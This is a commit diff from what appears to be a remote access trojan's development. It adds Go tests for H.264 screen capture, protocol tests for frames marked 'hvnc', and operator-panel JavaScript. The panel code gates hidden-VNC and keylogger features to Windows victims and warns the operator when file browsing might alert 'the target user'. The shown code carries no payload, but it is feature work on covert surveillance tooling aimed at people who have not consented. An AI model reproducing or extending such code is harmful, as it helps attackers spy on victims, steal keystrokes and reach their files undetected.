add h264 tests (client and server), hide options that won't work for mac + linux and give warning for mac under certain circumstances (fuck ass file viewing).
This commit is contained in:
@@ -0,0 +1,82 @@
|
|||||||
|
package capture
|
||||||
|
|
||||||
|
import (
|
||||||
|
"image"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func resetCodecSelectionForTest() {
|
||||||
|
blockCodecOnce = sync.Once{}
|
||||||
|
cachedBlockCodec = ""
|
||||||
|
overrideCodec.Store("")
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSetQualityAndCodec_H264FallbackDependsOnAvailability(t *testing.T) {
|
||||||
|
t.Cleanup(resetCodecSelectionForTest)
|
||||||
|
|
||||||
|
SetQualityAndCodec(80, "h264")
|
||||||
|
got := blockCodec()
|
||||||
|
|
||||||
|
if h264Available() {
|
||||||
|
if got != "h264" {
|
||||||
|
t.Fatalf("expected h264 codec when available, got %q", got)
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if got != "jpeg" {
|
||||||
|
t.Fatalf("expected jpeg fallback when h264 unavailable, got %q", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSetQualityAndCodec_InvalidCodecForcesJpeg(t *testing.T) {
|
||||||
|
t.Cleanup(resetCodecSelectionForTest)
|
||||||
|
|
||||||
|
SetQualityAndCodec(75, "invalid-codec")
|
||||||
|
got := blockCodec()
|
||||||
|
if got != "jpeg" {
|
||||||
|
t.Fatalf("expected invalid codec to force jpeg, got %q", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestH264AvailabilityDetail_NotEmpty(t *testing.T) {
|
||||||
|
detail := strings.TrimSpace(h264AvailabilityDetail())
|
||||||
|
if detail == "" {
|
||||||
|
t.Fatal("expected h264 availability detail to be non-empty")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestEncodeH264Frame_WhenUnavailableReturnsError(t *testing.T) {
|
||||||
|
if h264Available() {
|
||||||
|
t.Skip("h264 is available in this build; unavailable-path assertion does not apply")
|
||||||
|
}
|
||||||
|
|
||||||
|
img := image.NewRGBA(image.Rect(0, 0, 2, 2))
|
||||||
|
out, err := encodeH264Frame(img)
|
||||||
|
if err == nil {
|
||||||
|
t.Fatal("expected an error when h264 is unavailable")
|
||||||
|
}
|
||||||
|
if out != nil {
|
||||||
|
t.Fatalf("expected nil output when h264 is unavailable, got %d bytes", len(out))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestBlockCodec_UsesEnvWhenNoOverride(t *testing.T) {
|
||||||
|
prev := os.Getenv(blockCodecEnv)
|
||||||
|
if err := os.Setenv(blockCodecEnv, "raw"); err != nil {
|
||||||
|
t.Fatalf("setenv failed: %v", err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() {
|
||||||
|
_ = os.Setenv(blockCodecEnv, prev)
|
||||||
|
resetCodecSelectionForTest()
|
||||||
|
})
|
||||||
|
|
||||||
|
resetCodecSelectionForTest()
|
||||||
|
got := blockCodec()
|
||||||
|
if got != "raw" {
|
||||||
|
t.Fatalf("expected env codec raw, got %q", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -49,6 +49,48 @@ const clearContext = () => {
|
|||||||
contextCard = null;
|
contextCard = null;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
function detectClientPlatform(clientId) {
|
||||||
|
if (!clientId) {
|
||||||
|
return "unknown";
|
||||||
|
}
|
||||||
|
const selectorId =
|
||||||
|
typeof CSS !== "undefined" && typeof CSS.escape === "function"
|
||||||
|
? CSS.escape(clientId)
|
||||||
|
: clientId;
|
||||||
|
const card = document.querySelector(`article[data-id="${selectorId}"]`);
|
||||||
|
const os = String(card?.dataset?.os || "").toLowerCase();
|
||||||
|
if (os.includes("windows")) return "windows";
|
||||||
|
if (os.includes("darwin") || os.includes("mac")) return "mac";
|
||||||
|
if (os.includes("linux")) return "linux";
|
||||||
|
return "unknown";
|
||||||
|
}
|
||||||
|
|
||||||
|
function applyMenuSupportRules(clientId) {
|
||||||
|
const platform = detectClientPlatform(clientId);
|
||||||
|
const isWindows = platform === "windows";
|
||||||
|
|
||||||
|
const setAvailability = (btn, enabled, reason) => {
|
||||||
|
if (!btn) return;
|
||||||
|
btn.disabled = !enabled;
|
||||||
|
btn.setAttribute("aria-disabled", String(!enabled));
|
||||||
|
btn.classList.toggle("opacity-50", !enabled);
|
||||||
|
btn.classList.toggle("cursor-not-allowed", !enabled);
|
||||||
|
btn.classList.toggle("hover:bg-slate-700", enabled);
|
||||||
|
btn.classList.toggle("hover:bg-slate-800/50", !enabled);
|
||||||
|
btn.title = enabled ? "" : reason;
|
||||||
|
};
|
||||||
|
|
||||||
|
const hvncBtn = menu.querySelector('[data-open="hvnc"]');
|
||||||
|
setAvailability(hvncBtn, isWindows, "HVNC is only supported on Windows clients.");
|
||||||
|
|
||||||
|
const keyloggerBtn = menu.querySelector('[data-open="keylogger"]');
|
||||||
|
setAvailability(
|
||||||
|
keyloggerBtn,
|
||||||
|
isWindows,
|
||||||
|
"Keylogger capture is only fully supported on Windows clients.",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
async function loadCurrentUser() {
|
async function loadCurrentUser() {
|
||||||
try {
|
try {
|
||||||
const res = await fetch("/api/auth/me");
|
const res = await fetch("/api/auth/me");
|
||||||
@@ -194,6 +236,7 @@ function initializeRenderer() {
|
|||||||
totalPill,
|
totalPill,
|
||||||
pageLabel,
|
pageLabel,
|
||||||
openMenu: (id, x, y) => {
|
openMenu: (id, x, y) => {
|
||||||
|
applyMenuSupportRules(id);
|
||||||
openMenu(id, x, y, setContext);
|
openMenu(id, x, y, setContext);
|
||||||
loadPluginsForClient(id);
|
loadPluginsForClient(id);
|
||||||
},
|
},
|
||||||
@@ -511,6 +554,9 @@ window.addEventListener("click", (e) => {
|
|||||||
menu.addEventListener("click", async (e) => {
|
menu.addEventListener("click", async (e) => {
|
||||||
const target = e.target.closest("button");
|
const target = e.target.closest("button");
|
||||||
if (!target || !contextCard) return;
|
if (!target || !contextCard) return;
|
||||||
|
if (target.disabled || target.getAttribute("aria-disabled") === "true") {
|
||||||
|
return;
|
||||||
|
}
|
||||||
const pluginId = target.dataset.plugin;
|
const pluginId = target.dataset.plugin;
|
||||||
if (pluginId) {
|
if (pluginId) {
|
||||||
try {
|
try {
|
||||||
@@ -555,6 +601,16 @@ menu.addEventListener("click", async (e) => {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
if (open === "files") {
|
if (open === "files") {
|
||||||
|
const platform = detectClientPlatform(contextCard);
|
||||||
|
if (platform !== "windows") {
|
||||||
|
const proceed = confirm(
|
||||||
|
"Opening File Browser may show a permission prompt to the target user on their machine. Continue?",
|
||||||
|
);
|
||||||
|
if (!proceed) {
|
||||||
|
closeMenu(clearContext);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
window.open(`/${contextCard}/files`, "_blank", "noopener");
|
window.open(`/${contextCard}/files`, "_blank", "noopener");
|
||||||
closeMenu(clearContext);
|
closeMenu(clearContext);
|
||||||
return;
|
return;
|
||||||
|
|||||||
@@ -166,6 +166,7 @@ export function createRenderer({
|
|||||||
const wasChecked = oldCheckbox?.checked || false;
|
const wasChecked = oldCheckbox?.checked || false;
|
||||||
|
|
||||||
card.dataset.online = String(!!client.online);
|
card.dataset.online = String(!!client.online);
|
||||||
|
card.dataset.os = String(client.os || "").toLowerCase();
|
||||||
const os = osBadge(client.os || "unknown");
|
const os = osBadge(client.os || "unknown");
|
||||||
const arch = archBadge(client.arch || "");
|
const arch = archBadge(client.arch || "");
|
||||||
const ver = versionBadge(client.version || "");
|
const ver = versionBadge(client.version || "");
|
||||||
|
|||||||
@@ -2,6 +2,7 @@ import { describe, expect, test } from "bun:test";
|
|||||||
import {
|
import {
|
||||||
decodeMessage,
|
decodeMessage,
|
||||||
encodeMessage,
|
encodeMessage,
|
||||||
|
type Frame,
|
||||||
type Hello,
|
type Hello,
|
||||||
type Ping,
|
type Ping,
|
||||||
} from "./protocol";
|
} from "./protocol";
|
||||||
@@ -37,4 +38,27 @@ describe("protocol encode/decode", () => {
|
|||||||
expect(decoded.type).toBe("ping");
|
expect(decoded.type).toBe("ping");
|
||||||
expect(decoded.ts).toBe(123);
|
expect(decoded.ts).toBe(123);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
test("round trips h264 frame metadata", () => {
|
||||||
|
const frame: Frame = {
|
||||||
|
type: "frame",
|
||||||
|
header: {
|
||||||
|
monitor: 1,
|
||||||
|
fps: 24,
|
||||||
|
format: "h264",
|
||||||
|
hvnc: true,
|
||||||
|
},
|
||||||
|
data: new Uint8Array([0, 0, 0, 1, 0x67, 0x42, 0xe0, 0x1e]),
|
||||||
|
};
|
||||||
|
|
||||||
|
const encoded = encodeMessage(frame);
|
||||||
|
const decoded = decodeMessage(encoded) as Frame;
|
||||||
|
|
||||||
|
expect(decoded.type).toBe("frame");
|
||||||
|
expect(decoded.header.format).toBe("h264");
|
||||||
|
expect(decoded.header.hvnc).toBe(true);
|
||||||
|
expect(decoded.header.monitor).toBe(1);
|
||||||
|
expect(decoded.header.fps).toBe(24);
|
||||||
|
expect(Array.from(decoded.data)).toEqual(Array.from(frame.data));
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|||||||
Reference in New Issue
Block a user